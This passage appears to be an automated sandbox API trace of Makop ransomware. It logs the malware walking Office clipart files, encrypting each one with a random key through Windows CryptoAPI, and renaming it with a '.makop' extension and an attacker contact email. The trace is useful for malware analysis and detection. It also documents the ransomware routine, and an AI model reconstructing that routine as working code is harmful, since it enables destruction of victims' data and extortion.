Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.940] CloseHandle (hObject=0xf0) returned 1 [0109.941] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0109.941] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 63 [0109.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.942] GetProcessHeap () returned 0x48a0000 [0109.942] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.942] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.942] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0109.946] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.946] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.947] GetProcessHeap () returned 0x48a0000 [0109.947] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.947] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.947] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.947] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.947] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.947] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.947] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.948] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.948] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.948] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.949] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.949] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xda6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xda6, lpOverlapped=0x0) returned 1 [0109.949] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdb0, dwBufLen=0xdb0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xdb0) returned 1 [0109.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.949] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xdb0, lpOverlapped=0x0) returned 1 [0109.949] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.949] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xe84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.949] SetEndOfFile (hFile=0xf0) returned 1 [0109.957] GetProcessHeap () returned 0x48a0000 [0109.957] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.957] GetProcessHeap () returned 0x48a0000 [0109.957] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.957] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.957] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.959] CloseHandle (hObject=0xf0) returned 1 [0109.959] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0109.959] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 63 [0109.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.960] GetProcessHeap () returned 0x48a0000 [0109.960] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.960] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.960] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.960] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0109.976] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.976] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.976] GetProcessHeap () returned 0x48a0000 [0109.976] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0109.976] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0109.976] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.976] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0109.977] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0109.977] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0109.977] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0109.977] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0109.977] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0109.978] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0109.978] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0109.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.978] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3a94, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3a94, lpOverlapped=0x0) returned 1 [0109.980] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3aa0, dwBufLen=0x3aa0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3aa0) returned 1 [0109.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.980] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3aa0, lpOverlapped=0x0) returned 1 [0109.980] CryptDestroyKey (hKey=0x48c7128) returned 1 [0109.980] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0109.980] SetEndOfFile (hFile=0xf0) returned 1 [0109.987] GetProcessHeap () returned 0x48a0000 [0109.987] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0109.987] GetProcessHeap () returned 0x48a0000 [0109.987] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0109.987] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0109.987] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0109.989] CloseHandle (hObject=0xf0) returned 1 [0109.989] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0109.991] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0109.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0109.991] GetProcessHeap () returned 0x48a0000 [0109.991] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0109.991] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0109.992] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0109.992] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0110.000] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.000] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.000] GetProcessHeap () returned 0x48a0000 [0110.000] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.000] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.000] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.000] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.001] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.001] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.001] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.001] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.001] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.001] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.001] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.001] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.001] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x752, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x752, lpOverlapped=0x0) returned 1 [0110.002] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x760, dwBufLen=0x760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x760) returned 1 [0110.002] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.002] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x760, lpOverlapped=0x0) returned 1 [0110.002] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.002] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.002] SetEndOfFile (hFile=0xf0) returned 1 [0110.010] GetProcessHeap () returned 0x48a0000 [0110.010] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.010] GetProcessHeap () returned 0x48a0000 [0110.010] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.010] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.010] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.011] CloseHandle (hObject=0xf0) returned 1 [0110.012] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x910b6b00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x910b6b00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xf6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01637_.WMF", cAlternateFileName="")) returned 1 [0110.012] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0110.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.014] GetProcessHeap () returned 0x48a0000 [0110.014] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.014] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.014] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.014] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.018] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.018] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.019] GetProcessHeap () returned 0x48a0000 [0110.019] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.019] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.019] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.019] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.019] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.019] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.019] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.020] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.020] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.020] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.020] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.020] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.021] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xf6c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xf6c, lpOverlapped=0x0) returned 1 [0110.021] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf70, dwBufLen=0xf70 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xf70) returned 1 [0110.021] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.021] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xf70, lpOverlapped=0x0) returned 1 [0110.021] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.021] SetFilePointerEx (in: 